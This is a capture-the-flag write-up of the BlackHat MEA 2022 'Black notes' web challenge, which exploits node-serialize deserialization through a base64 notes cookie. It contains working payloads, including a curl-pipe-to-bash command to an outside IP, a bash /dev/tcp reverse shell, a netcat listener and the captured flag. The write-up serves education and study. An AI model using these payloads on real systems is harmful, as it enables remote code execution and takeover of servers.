> For the complete documentation index, see [llms.txt](https://blog.diefunction.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.diefunction.io/ctf/blackhatmea-quals-2022/black-notes.md).

# Black notes

## Difficulty

Medium

## Points

250

## Description

We created this website for hackers to save thier payloads and notes in a secure way

## Quick Analysis

After registration, the endpoint `register` return `notes` cookie, which is a base64 `eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0=` and redirect to `/notes` endpoint. The endpoint `/notes` rendered the registered `username` and `Sample Note`.

### Analyzing the notes endpoint and cookie

Decode the cookie value of notes `eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0=` using Base64 algorithm.

```python
from base64 import b64encode, b64decode

notes_value = 'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifX0='
b64decode(notes_value).decode()
```

```
'{"notes":{"0":"Sample Note"}}'
```

The JSON object contains notes that are parsed and returned in the endpoint `/notes`.

### Unhandeled Exception

What if the JSON object is unparsable.

```python
payload = b'{"notes":{"0":"Sample Note"},}'
b64encode(payload).decode()
```

```
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUifSx9'
```

Change the cookie value of notes then, reload the endpoint `/notes`.

```javascript
SyntaxError: Unexpected token O in JSON at position 29
    at JSON.parse (<anonymous>)
    at exports.unserialize (/data/node_modules/node-serialize/lib/serialize.js:62:16)
    at /data/app.js:42:37
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at next (/data/node_modules/express/lib/router/route.js:144:13)
    at Route.dispatch (/data/node_modules/express/lib/router/route.js:114:3)
    at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5)
    at /data/node_modules/express/lib/router/index.js:284:15
    at Function.process_params (/data/node_modules/express/lib/router/index.js:346:12)
    at next (/data/node_modules/express/lib/router/index.js:280:10)
```

From the exception, the endpoint `/notes` uses `node-serialize` to unserialize the object.

## Exploitation

I assumed the application is vulnerable to unsafe deserialization, and this challenge is the same as the ZDITECH example [\[1\]](https://zditect.com/code/javascript/exploiting-nodejs-deserialization-bug-for-remote-code-execution.html).

### Proof of concept

Since the endpoint `/notes` render the notes object, craft a function that returns `1`; if the application is vulnerable, the endpoint `/notes` should return `1` on the page.\
Payload

```python
payload = b'{"notes":{"0":"Sample Note","1":"_$$ND_FUNC$$_function (){return 1;}()"}}'
b64encode(payload).decode()
```

```
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe3JldHVybiAxO30oKSJ9fQ=='
```

Change the cookie value of notes then, reload the endpoint `/notes`.\
After reloading the endpoint `/notes`, the payload executed and returned `1`.

### Reverse shell

Run an HTTP server on port 80

```bash
python3 -m http.server 80
```

Create `index.html` with content

```bash
#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/188.166.173.195/443 0>&1'
```

Payload

```json
{"notes":{"0":"Sample Note","1":"_$$ND_FUNC$$_function (){require('child_process').exec('curl 188.166.173.195 | bash', function(error, stdout, stdin){});}()"}}
```

* The function executes the command `curl 188.166.173.195 | bash` via `exec` function.
* The command `curl 188.166.173.195 | bash` requests the `index.html` content from `188.166.173.195` via `curl`, then `curl` pipes the content of `index.html` to `bash`.
* Start a `netcat` listener on port 443

```bash
nc -lnvp 443
```

```python
payload = b"{\"notes\":{\"0\":\"Sample Note\",\"1\":\"_$$ND_FUNC$$_function (){require('child_process').exec('curl 188.166.173.195 | bash', function(error, stdout, stdin){});}()\"}}"

b64encode(payload).decode()
```

```
'eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiXyQkTkRfRlVOQyQkX2Z1bmN0aW9uICgpe3JlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCdjdXJsIDE4OC4xNjYuMTczLjE5NSB8IGJhc2gnLCBmdW5jdGlvbihlcnJvciwgc3Rkb3V0LCBzdGRpbil7fSk7fSgpIn19'
```

Change the cookie value of notes then, reload the endpoint `/notes` to obtain a reverse shell.

### The flag

Execute `printenv` command on the challenge server to get the flag.

```
FLAG=BlackHatMEA{551:18:d6c3f76447af44a983af790e399a8f87fb8f4693}
```

## References

* <https://zditect.com/code/javascript/exploiting-nodejs-deserialization-bug-for-remote-code-execution.html>
